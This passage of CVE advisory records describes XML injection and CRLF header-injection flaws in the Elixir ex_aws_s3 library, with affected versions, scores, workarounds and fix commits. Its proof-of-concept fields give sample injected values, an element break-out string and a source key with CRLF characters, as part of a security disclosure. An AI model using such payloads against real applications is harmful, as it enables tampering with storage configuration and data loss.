                  "value": "**1. Unescaped interpolation.** The bucket-configuration body builders in `lib/ex_aws/s3.ex` interpolate caller-supplied values into XML with plain string interpolation and never apply the module\u0027s `escape_xml_string/1` helper. This covers `put_bucket_logging` (`target_bucket`, `target_prefix`), the notification builders (topic, Lambda and queue ARNs, `id`, events, filter rule names and values), the replication builders (`role`, rule `id` and `status`, filter prefix, tag keys and values, destination `bucket`, `storage_class`, `account`, `owner`) and the website builders (`host_name`, `protocol`, `index_doc`, `error_doc` and every routing-rule field).\n\n**2. Element break-out.** In `put_bucket_logging`, for example, the body contains `\u003cTargetBucket\u003e#{target_bucket}\u003c/TargetBucket\u003e`. A value containing `\u003c/TargetBucket\u003e\u003cTargetBucket\u003e...` closes the legitimate element early and opens a second one inside the same `\u003cLoggingEnabled\u003e` block.\n\n**3. Well-formed result.** The builder\u0027s own trailing closing tag closes the injected node, so the document stays single-rooted and well-formed, parses cleanly and would be accepted by AWS. The application signs and sends the attacker-shaped configuration as its own."
                }
              ],
              "value": "1. Unescaped interpolation. The bucket-configuration body builders in lib/ex_aws/s3.ex interpolate caller-supplied values into XML with plain string interpolation and never apply the module\u0027s escape_xml_string/1 helper. This covers put_bucket_logging (target_bucket, target_prefix), the notification builders (topic, Lambda and queue ARNs, id, events, filter rule names and values), the replication builders (role, rule id and status, filter prefix, tag keys and values, destination bucket, storage_class, account, owner) and the website builders (host_name, protocol, index_doc, error_doc and every routing-rule field).\n\n2. Element break-out. In put_bucket_logging, for example, the body contains \u003cTargetBucket\u003e#{target_bucket}\u003c/TargetBucket\u003e. A value containing \u003c/TargetBucket\u003e\u003cTargetBucket\u003e... closes the legitimate element early and opens a second one inside the same \u003cLoggingEnabled\u003e block.\n\n3. Well-formed result. The builder\u0027s own trailing closing tag closes the injected node, so the document stays single-rooted and well-formed, parses cleanly and would be accepted by AWS. The application signs and sends the attacker-shaped configuration as its own."
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "assignerShortName": "EEF",
        "cveId": "CVE-2026-63581",
        "datePublished": "2026-11-24T14:15:21.465Z",
        "dateReserved": "2026-07-17T04:14:44.351Z",
        "dateUpdated": "2026-11-25T20:05:36.199Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-63584 (GCVE-0-2026-63584)

    Vulnerability from cvelistv5 – Published: 2026-11-24 14:15 – Updated: 2026-11-24 14:15
    VLAI
    Title
    Copy-source header injection in ExAws.S3.upload_part_copy/8 via unencoded source key
    Summary
    Improper Neutralization of CRLF Sequences ('CRLF Injection') vulnerability in ex-aws ex_aws_s3 allows HTTP header injection via an attacker-controlled copy-source key. ExAws.S3.upload_part_copy/8 in lib/ex_aws/s3.ex builds the x-amz-copy-source request header by interpolating the source bucket and object key directly into "/#{src_bucket}/#{src_object}" with no percent-encoding. The sibling function put_object_copy percent-encodes the bucket and each path segment before assembling the same header, but upload_part_copy skips encoding entirely. When the source key is derived from untrusted input, reserved characters (spaces, ?, &, =) pass through verbatim and corrupt the copy-source reference, so the copy targets the wrong object or fails. A key containing \r or \n can split or inject additional headers into the outgoing HTTP request, depending on how the configured HTTP backend serializes headers. Applications that pass a source bucket or object key derived from untrusted input to ExAws.S3.upload_part_copy/8 are affected. Applications that only ever pass trusted, well-formed keys are not affected. This issue affects ex_aws_s3: from 2.0.0 before 2.6.0.
    CWE
    • CWE-93 - Improper Neutralization of CRLF Sequences
    Assigner
    EEF CNA under the mitre root
    CNA scorecard A 97/100 over 376 records in the last 180 days details
    Impacted products
    Vendor Product Version
    ex-aws ex_aws_s3 Affected: 2.0.0 , < 2.6.0 (semver)
        cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*
    Create a notification for this product.
    ex-aws ex_aws_s3 Affected: 4ce4d72219c0cb8de9356278203d8ea780311b75 , < b708beb7cbd0fe2ab7ce685834bb664397e4df1e (git)
        cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Date Public
    2026-11-24 14:15
    Show details on NVD website

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "collectionURL": "https://repo.hex.pm",
              "cpes": [
                "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.ExAws.S3\u0027"
              ],
              "packageName": "ex_aws_s3",
              "packageURL": "pkg:hex/ex_aws_s3",
              "product": "ex_aws_s3",
              "programFiles": [
                "lib/ex_aws/s3.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.ExAws.S3\u0027:upload_part_copy/8"
                }
              ],
              "repo": "https://github.com/ex-aws/ex_aws_s3",
              "vendor": "ex-aws",
              "versions": [
                {
                  "lessThan": "2.6.0",
                  "status": "affected",
                  "version": "2.0.0",
                  "versionType": "semver"
                }
              ]
            },
            {
              "collectionURL": "https://github.com",
              "cpes": [
                "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.ExAws.S3\u0027"
              ],
              "packageName": "ex-aws/ex_aws_s3",
              "packageURL": "pkg:github/ex-aws/ex_aws_s3",
              "product": "ex_aws_s3",
              "programFiles": [
                "lib/ex_aws/s3.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.ExAws.S3\u0027:upload_part_copy/8"
                }
              ],
              "repo": "https://github.com/ex-aws/ex_aws_s3",
              "vendor": "ex-aws",
              "versions": [
                {
                  "lessThan": "b708beb7cbd0fe2ab7ce685834bb664397e4df1e",
                  "status": "affected",
                  "version": "4ce4d72219c0cb8de9356278203d8ea780311b75",
                  "versionType": "git"
                }
              ]
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "2.6.0",
                      "versionStartIncluding": "2.0.0",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ],
              "operator": "AND"
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "reporter",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "analyst",
              "value": "Jonatan M\u00e4nnchen / EEF"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "remediation developer",
              "value": "Bernard Duggan"
            }
          ],
          "datePublic": "2026-11-24T14:15:09.000Z",
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eImproper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027) vulnerability in ex-aws ex_aws_s3 allows HTTP header injection via an attacker-controlled copy-source key.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eExAws.S3.upload_part_copy/8\u003c/code\u003e in \u003ccode\u003elib/ex_aws/s3.ex\u003c/code\u003e builds the \u003ccode\u003ex-amz-copy-source\u003c/code\u003e request header by interpolating the source bucket and object key directly into \u003ccode\u003e\"/#{src_bucket}/#{src_object}\"\u003c/code\u003e with no percent-encoding. The sibling function \u003ccode\u003eput_object_copy\u003c/code\u003e percent-encodes the bucket and each path segment before assembling the same header, but \u003ccode\u003eupload_part_copy\u003c/code\u003e skips encoding entirely.\u003c/p\u003e\n\u003cp\u003eWhen the source key is derived from untrusted input, reserved characters (spaces, \u003ccode\u003e?\u003c/code\u003e, \u003ccode\u003e\u0026amp;\u003c/code\u003e, \u003ccode\u003e=\u003c/code\u003e) pass through verbatim and corrupt the copy-source reference, so the copy targets the wrong object or fails. A key containing \u003ccode\u003e\\r\u003c/code\u003e or \u003ccode\u003e\\n\u003c/code\u003e can split or inject additional headers into the outgoing HTTP request, depending on how the configured HTTP backend serializes headers.\u003c/p\u003e\n\u003cp\u003eApplications that pass a source bucket or object key derived from untrusted input to \u003ccode\u003eExAws.S3.upload_part_copy/8\u003c/code\u003e are affected. Applications that only ever pass trusted, well-formed keys are not affected.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027) vulnerability in ex-aws ex_aws_s3 allows HTTP header injection via an attacker-controlled copy-source key.\n\n`ExAws.S3.upload_part_copy/8` in `lib/ex_aws/s3.ex` builds the `x-amz-copy-source` request header by interpolating the source bucket and object key directly into `\"/#{src_bucket}/#{src_object}\"` with no percent-encoding. The sibling function `put_object_copy` percent-encodes the bucket and each path segment before assembling the same header, but `upload_part_copy` skips encoding entirely.\n\nWhen the source key is derived from untrusted input, reserved characters (spaces, `?`, `\u0026`, `=`) pass through verbatim and corrupt the copy-source reference, so the copy targets the wrong object or fails. A key containing `\\r` or `\\n` can split or inject additional headers into the outgoing HTTP request, depending on how the configured HTTP backend serializes headers.\n\nApplications that pass a source bucket or object key derived from untrusted input to `ExAws.S3.upload_part_copy/8` are affected. Applications that only ever pass trusted, well-formed keys are not affected.\n\nThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0."
                }
              ],
              "value": "Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027) vulnerability in ex-aws ex_aws_s3 allows HTTP header injection via an attacker-controlled copy-source key.\n\nExAws.S3.upload_part_copy/8 in lib/ex_aws/s3.ex builds the x-amz-copy-source request header by interpolating the source bucket and object key directly into \"/#{src_bucket}/#{src_object}\" with no percent-encoding. The sibling function put_object_copy percent-encodes the bucket and each path segment before assembling the same header, but upload_part_copy skips encoding entirely.\n\nWhen the source key is derived from untrusted input, reserved characters (spaces, ?, \u0026, =) pass through verbatim and corrupt the copy-source reference, so the copy targets the wrong object or fails. A key containing \\r or \\n can split or inject additional headers into the outgoing HTTP request, depending on how the configured HTTP backend serializes headers.\n\nApplications that pass a source bucket or object key derived from untrusted input to ExAws.S3.upload_part_copy/8 are affected. Applications that only ever pass trusted, well-formed keys are not affected.\n\nThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-105",
              "descriptions": [
                {
                  "lang": "en",
                  "supportingMedia": [
                    {
                      "base64": false,
                      "type": "text/html",
                      "value": "\u003cp\u003eThis is an output-encoding defect (missing percent-encoding) in the construction of the \u003ccode\u003ex-amz-copy-source\u003c/code\u003e header. Affected are applications that call \u003ccode\u003eExAws.S3.upload_part_copy/8\u003c/code\u003e with a source bucket or object key derived from untrusted input. The practical consequences range from a corrupted/incorrect copy-source reference (reserved characters) to header injection into the outgoing S3 request when the key contains CR/LF, the latter\u0027s reach depending on the HTTP client backend in use. Applications that only ever pass trusted, well-formed keys are not affected.\u003c/p\u003e"
                    },
                    {
                      "base64": false,
                      "type": "text/markdown",
                      "value": "This is an output-encoding defect (missing percent-encoding) in the construction of the `x-amz-copy-source` header. Affected are applications that call `ExAws.S3.upload_part_copy/8` with a source bucket or object key derived from untrusted input. The practical consequences range from a corrupted/incorrect copy-source reference (reserved characters) to header injection into the outgoing S3 request when the key contains CR/LF, the latter\u0027s reach depending on the HTTP client backend in use. Applications that only ever pass trusted, well-formed keys are not affected."
                    }
                  ],
                  "value": "This is an output-encoding defect (missing percent-encoding) in the construction of the x-amz-copy-source header. Affected are applications that call ExAws.S3.upload_part_copy/8 with a source bucket or object key derived from untrusted input. The practical consequences range from a corrupted/incorrect copy-source reference (reserved characters) to header injection into the outgoing S3 request when the key contains CR/LF, the latter\u0027s reach depending on the HTTP client backend in use. Applications that only ever pass trusted, well-formed keys are not affected."
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "PRESENT",
                "attackVector": "LOCAL",
                "baseScore": 2.1,
                "baseSeverity": "LOW",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "LOW",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "LOW",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-93",
                  "description": "CWE-93 Improper Neutralization of CRLF Sequences",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-24T14:15:10.351Z",
            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
          },
          "references": [
            {
              "tags": [
                "vendor-advisory",
                "related"
              ],
              "url": "https://github.com/ex-aws/ex_aws_s3/security/advisories/GHSA-27g7-88jv-xqhq"
            },
            {
              "name": "EEF CNA record for CVE-2026-63584",
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-63584.html"
            },
            {
              "name": "OSV record EEF-CVE-2026-63584",
              "tags": [
                "related"
              ],
              "url": "https://osv.dev/vulnerability/EEF-CVE-2026-63584"
            },
            {
              "name": "Introducing commit 4ce4d72 in ex-aws/ex_aws_s3",
              "tags": [
                "related"
              ],
              "url": "https://github.com/ex-aws/ex_aws_s3/commit/4ce4d72219c0cb8de9356278203d8ea780311b75"
            },
            {
              "name": "Fix commit b708beb in ex-aws/ex_aws_s3",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/ex-aws/ex_aws_s3/commit/b708beb7cbd0fe2ab7ce685834bb664397e4df1e"
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "Copy-source header injection in ExAws.S3.upload_part_copy/8 via unencoded source key",
          "workarounds": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003ePercent-encode or otherwise sanitize the source bucket and object key before passing them to \u003ccode\u003eExAws.S3.upload_part_copy/8\u003c/code\u003e. At minimum, reject (or strip) any value containing \u003ccode\u003e\\r\u003c/code\u003e, \u003ccode\u003e\\n\u003c/code\u003e, or the reserved URI characters that alter the copy-source reference. Encode each path segment with \u003ccode\u003eURI.encode(segment, \u0026amp;URI.char_unreserved?/1)\u003c/code\u003e, mirroring how \u003ccode\u003eput_object_copy\u003c/code\u003e builds the same header.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Percent-encode or otherwise sanitize the source bucket and object key before passing them to `ExAws.S3.upload_part_copy/8`. At minimum, reject (or strip) any value containing `\\r`, `\\n`, or the reserved URI characters that alter the copy-source reference. Encode each path segment with `URI.encode(segment, \u0026URI.char_unreserved?/1)`, mirroring how `put_object_copy` builds the same header."
                }
              ],
              "value": "Percent-encode or otherwise sanitize the source bucket and object key before passing them to ExAws.S3.upload_part_copy/8. At minimum, reject (or strip) any value containing \\r, \\n, or the reserved URI characters that alter the copy-source reference. Encode each path segment with URI.encode(segment, \u0026URI.char_unreserved?/1), mirroring how put_object_copy builds the same header."
            }
          ],
          "x_proofOfConcept": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003col\u003e\n\u003cli\u003eAn application copies a part whose source key comes from user input, calling \u003ccode\u003eExAws.S3.upload_part_copy/8\u003c/code\u003e and sending the operation with \u003ccode\u003eExAws.request/2\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker supplies the source key \u003ccode\u003eevil key?x=1\u0026amp;y=2\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eupload_part_copy/8\u003c/code\u003e interpolates it raw, so the request carries \u003ccode\u003ex-amz-copy-source: /src-bucket/evil key?x=1\u0026amp;y=2\u003c/code\u003e instead of the encoded \u003ccode\u003e/src-bucket/evil%20key%3Fx%3D1%26y%3D2\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe reserved characters change the copy-source reference; a key containing \u003ccode\u003e\\r\\n\u003c/code\u003e would additionally inject header lines, depending on the HTTP backend.\u003c/li\u003e\n\u003c/ol\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "1. An application copies a part whose source key comes from user input, calling `ExAws.S3.upload_part_copy/8` and sending the operation with `ExAws.request/2`.\n2. The attacker supplies the source key `evil key?x=1\u0026y=2`.\n3. `upload_part_copy/8` interpolates it raw, so the request carries `x-amz-copy-source: /src-bucket/evil key?x=1\u0026y=2` instead of the encoded `/src-bucket/evil%20key%3Fx%3D1%26y%3D2`.\n4. The reserved characters change the copy-source reference; a key containing `\\r\\n` would additionally inject header lines, depending on the HTTP backend."
                }
              ],
              "value": "* An application copies a part whose source key comes from user input, calling ExAws.S3.upload_part_copy/8 and sending the operation with ExAws.request/2.\n* The attacker supplies the source key evil key?x=1\u0026y=2.\n* upload_part_copy/8 interpolates it raw, so the request carries x-amz-copy-source: /src-bucket/evil key?x=1\u0026y=2 instead of the encoded /src-bucket/evil%20key%3Fx%3D1%26y%3D2.\n* The reserved characters change the copy-source reference; a key containing \\r\\n would additionally inject header lines, depending on the HTTP backend."
            }
          ],
          "x_technicalAnalysis": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003e\u003cstrong\u003e1. Encoding in the sibling function.\u003c/strong\u003e \u003ccode\u003eput_object_copy\u003c/code\u003e in \u003ccode\u003elib/ex_aws/s3.ex\u003c/code\u003e percent-encodes the source bucket and each path segment with \u003ccode\u003eURI.encode(..., \u0026amp;URI.char_unreserved?/1)\u003c/code\u003e before assembling the \u003ccode\u003ex-amz-copy-source\u003c/code\u003e header.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. No encoding in \u003ccode\u003eupload_part_copy/8\u003c/code\u003e.\u003c/strong\u003e \u003ccode\u003eupload_part_copy/8\u003c/code\u003e builds the same header as \u003ccode\u003e\"/#{src_bucket}/#{src_object}\"\u003c/code\u003e, interpolating the bucket and key raw.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Effect.\u003c/strong\u003e Reserved characters in the source key (spaces, \u003ccode\u003e?\u003c/code\u003e, \u003ccode\u003e\u0026amp;\u003c/code\u003e, \u003ccode\u003e=\u003c/code\u003e) are placed verbatim into the header and change the meaning of the copy-source reference, so the copy targets the wrong object or fails. A key containing \u003ccode\u003e\\r\u003c/code\u003e or \u003ccode\u003e\\n\u003c/code\u003e can split the header or inject additional headers into the outgoing request, depending on how the configured HTTP backend serializes headers.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "**1. Encoding in the sibling function.** `put_object_copy` in `lib/ex_aws/s3.ex` percent-encodes the source bucket and each path segment with `URI.encode(..., \u0026URI.char_unreserved?/1)` before assembling the `x-amz-copy-source` header.\n\n**2. No encoding in `upload_part_copy/8`.** `upload_part_copy/8` builds the same header as `\"/#{src_bucket}/#{src_object}\"`, interpolating the bucket and key raw.\n\n**3. Effect.** Reserved characters in the source key (spaces, `?`, `\u0026`, `=`) are placed verbatim into the header and change the meaning of the copy-source reference, so the copy targets the wrong object or fails. A key containing `\\r` or `\\n` can split the header or inject additional headers into the outgoing request, depending on how the configured HTTP backend serializes headers."
                }
              ],
              "value": "1. Encoding in the sibling function. put_object_copy in lib/ex_aws/s3.ex percent-encodes the source bucket and each path segment with URI.encode(..., \u0026URI.char_unreserved?/1) before assembling the x-amz-copy-source header.\n\n2. No encoding in upload_part_copy/8. upload_part_copy/8 builds the same header as \"/#{src_bucket}/#{src_object}\", interpolating the bucket and key raw.\n\n3. Effect. Reserved characters in the source key (spaces, ?, \u0026, =) are placed verbatim into the header and change the meaning of the copy-source reference, so the copy targets the wrong object or fails. A key containing \\r or \\n can split the header or inject additional headers into the outgoing request, depending on how the configured HTTP backend serializes headers."
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "assignerShortName": "EEF",
        "cveId": "CVE-2026-63584",
        "datePublished": "2026-11-24T14:15:10.351Z",
        "dateReserved": "2026-07-17T04:14:44.351Z",
        "dateUpdated": "2026-11-24T14:15:10.351Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-63583 (GCVE-0-2026-63583)

    Vulnerability from cvelistv5 – Published: 2026-11-24 14:14 – Updated: 2026-11-24 14:14
    VLAI
    Title
    XML injection in ExAws.S3.Utils.build_lifecycle_rule/1 in ex_aws_s3
    Summary
    ExAws.S3.Utils.build_lifecycle_rule/1 in ex_aws_s3 interpolates caller-supplied lifecycle rule fields (the rule id, filter prefix, tag key and value, storage class, and noncurrent-version count) directly into the PutBucketLifecycleConfiguration XML body without escaping XML metacharacters. An application that populates any of these fields from untrusted input (for example a tenant-supplied object tag) lets an attacker break out of the surrounding element and inject arbitrary XML into the request, including an entirely new lifecycle action such as a delete-after-one-day expiration that destroys the bucket's objects. The public entry point ExAws.S3.put_bucket_lifecycle/2 flows directly into this builder. This issue affects ex_aws_s3: from 2.3.0 before 2.6.0.
    CWE
    Assigner
    EEF CNA under the mitre root
    CNA scorecard A 97/100 over 376 records in the last 180 days details
    Impacted products
    Vendor Product Version
    ex-aws ex_aws_s3 Affected: 2.3.0 , < 2.6.0 (semver)
        cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*
    Create a notification for this product.
    ex-aws ex_aws_s3 Affected: 34a3f1b264bd9a28d68fa98173af7085da72a15b , < eda0b9b9c63707f7db8d8f18c331df7fda57c397 (git)
        cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Date Public
    2026-11-24 14:14
    Show details on NVD website

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "collectionURL": "https://repo.hex.pm",
              "cpes": [
                "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.ExAws.S3.Utils\u0027",
                "\u0027Elixir.ExAws.S3\u0027"
              ],
              "packageName": "ex_aws_s3",
              "packageURL": "pkg:hex/ex_aws_s3",
              "product": "ex_aws_s3",
              "programFiles": [
                "lib/ex_aws/s3/utils.ex",
                "lib/ex_aws/s3.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.ExAws.S3.Utils\u0027:build_lifecycle_rule/1"
                },
                {
                  "name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_lifecycle/2"
                }
              ],
              "repo": "https://github.com/ex-aws/ex_aws_s3",
              "vendor": "ex-aws",
              "versions": [
                {
                  "lessThan": "2.6.0",
                  "status": "affected",
                  "version": "2.3.0",
                  "versionType": "semver"
                }
              ]
            },
            {
              "collectionURL": "https://github.com",
              "cpes": [
                "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.ExAws.S3.Utils\u0027",
                "\u0027Elixir.ExAws.S3\u0027"
              ],
              "packageName": "ex-aws/ex_aws_s3",
              "packageURL": "pkg:github/ex-aws/ex_aws_s3",
              "product": "ex_aws_s3",
              "programFiles": [
                "lib/ex_aws/s3/utils.ex",
                "lib/ex_aws/s3.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.ExAws.S3.Utils\u0027:build_lifecycle_rule/1"
                },
                {
                  "name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_lifecycle/2"
                }
              ],
              "repo": "https://github.com/ex-aws/ex_aws_s3",
              "vendor": "ex-aws",
              "versions": [
                {
                  "lessThan": "eda0b9b9c63707f7db8d8f18c331df7fda57c397",
                  "status": "affected",
                  "version": "34a3f1b264bd9a28d68fa98173af7085da72a15b",
                  "versionType": "git"
                }
              ]
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "2.6.0",
                      "versionStartIncluding": "2.3.0",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ],
              "operator": "AND"
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "reporter",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "analyst",
              "value": "Jonatan M\u00e4nnchen / EEF"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "remediation developer",
              "value": "Bernard Duggan"
            }
          ],
          "datePublic": "2026-11-24T14:14:57.000Z",
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003e\u003ccode\u003eExAws.S3.Utils.build_lifecycle_rule/1\u003c/code\u003e in ex_aws_s3 interpolates caller-supplied lifecycle rule fields (the rule id, filter prefix, tag key and value, storage class, and noncurrent-version count) directly into the \u003ccode\u003ePutBucketLifecycleConfiguration\u003c/code\u003e XML body without escaping XML metacharacters. An application that populates any of these fields from untrusted input (for example a tenant-supplied object tag) lets an attacker break out of the surrounding element and inject arbitrary XML into the request, including an entirely new lifecycle action such as a delete-after-one-day expiration that destroys the bucket\u0027s objects. The public entry point \u003ccode\u003eExAws.S3.put_bucket_lifecycle/2\u003c/code\u003e flows directly into this builder.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_s3: from 2.3.0 before 2.6.0.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "`ExAws.S3.Utils.build_lifecycle_rule/1` in ex_aws_s3 interpolates caller-supplied lifecycle rule fields (the rule id, filter prefix, tag key and value, storage class, and noncurrent-version count) directly into the `PutBucketLifecycleConfiguration` XML body without escaping XML metacharacters. An application that populates any of these fields from untrusted input (for example a tenant-supplied object tag) lets an attacker break out of the surrounding element and inject arbitrary XML into the request, including an entirely new lifecycle action such as a delete-after-one-day expiration that destroys the bucket\u0027s objects. The public entry point `ExAws.S3.put_bucket_lifecycle/2` flows directly into this builder.\n\nThis issue affects ex_aws_s3: from 2.3.0 before 2.6.0."
                }
              ],
              "value": "ExAws.S3.Utils.build_lifecycle_rule/1 in ex_aws_s3 interpolates caller-supplied lifecycle rule fields (the rule id, filter prefix, tag key and value, storage class, and noncurrent-version count) directly into the PutBucketLifecycleConfiguration XML body without escaping XML metacharacters. An application that populates any of these fields from untrusted input (for example a tenant-supplied object tag) lets an attacker break out of the surrounding element and inject arbitrary XML into the request, including an entirely new lifecycle action such as a delete-after-one-day expiration that destroys the bucket\u0027s objects. The public entry point ExAws.S3.put_bucket_lifecycle/2 flows directly into this builder.\n\nThis issue affects ex_aws_s3: from 2.3.0 before 2.6.0."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-250",
              "descriptions": [
                {
                  "lang": "en",
                  "supportingMedia": [
                    {
                      "base64": false,
                      "type": "text/html",
                      "value": "\u003cp\u003eThis is an XML/document injection vulnerability in the construction of the \u003ccode\u003ePutBucketLifecycleConfiguration\u003c/code\u003e request. Any application that uses \u003ccode\u003eex_aws_s3\u003c/code\u003e and populates a lifecycle rule\u0027s id, prefix, tag key/value, storage class, or noncurrent-version count from data it does not fully control is affected. An attacker who controls one of those fields can inject arbitrary lifecycle actions or rules into the request, most damagingly an expiration that deletes the bucket\u0027s objects, leading to data loss or unintended retention/transition policies. Multi-tenant services that map tenant-supplied tags or identifiers into bucket lifecycle configuration are the most exposed.\u003c/p\u003e"
                    },
                    {
                      "base64": false,
                      "type": "text/markdown",
                      "value": "This is an XML/document injection vulnerability in the construction of the `PutBucketLifecycleConfiguration` request. Any application that uses `ex_aws_s3` and populates a lifecycle rule\u0027s id, prefix, tag key/value, storage class, or noncurrent-version count from data it does not fully control is affected. An attacker who controls one of those fields can inject arbitrary lifecycle actions or rules into the request, most damagingly an expiration that deletes the bucket\u0027s objects, leading to data loss or unintended retention/transition policies. Multi-tenant services that map tenant-supplied tags or identifiers into bucket lifecycle configuration are the most exposed."
                    }
                  ],
                  "value": "This is an XML/document injection vulnerability in the construction of the PutBucketLifecycleConfiguration request. Any application that uses ex_aws_s3 and populates a lifecycle rule\u0027s id, prefix, tag key/value, storage class, or noncurrent-version count from data it does not fully control is affected. An attacker who controls one of those fields can inject arbitrary lifecycle actions or rules into the request, most damagingly an expiration that deletes the bucket\u0027s objects, leading to data loss or unintended retention/transition policies. Multi-tenant services that map tenant-supplied tags or identifiers into bucket lifecycle configuration are the most exposed."
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "PRESENT",
                "attackVector": "LOCAL",
                "baseScore": 7,
                "baseSeverity": "HIGH",
                "privilegesRequired": "NONE",
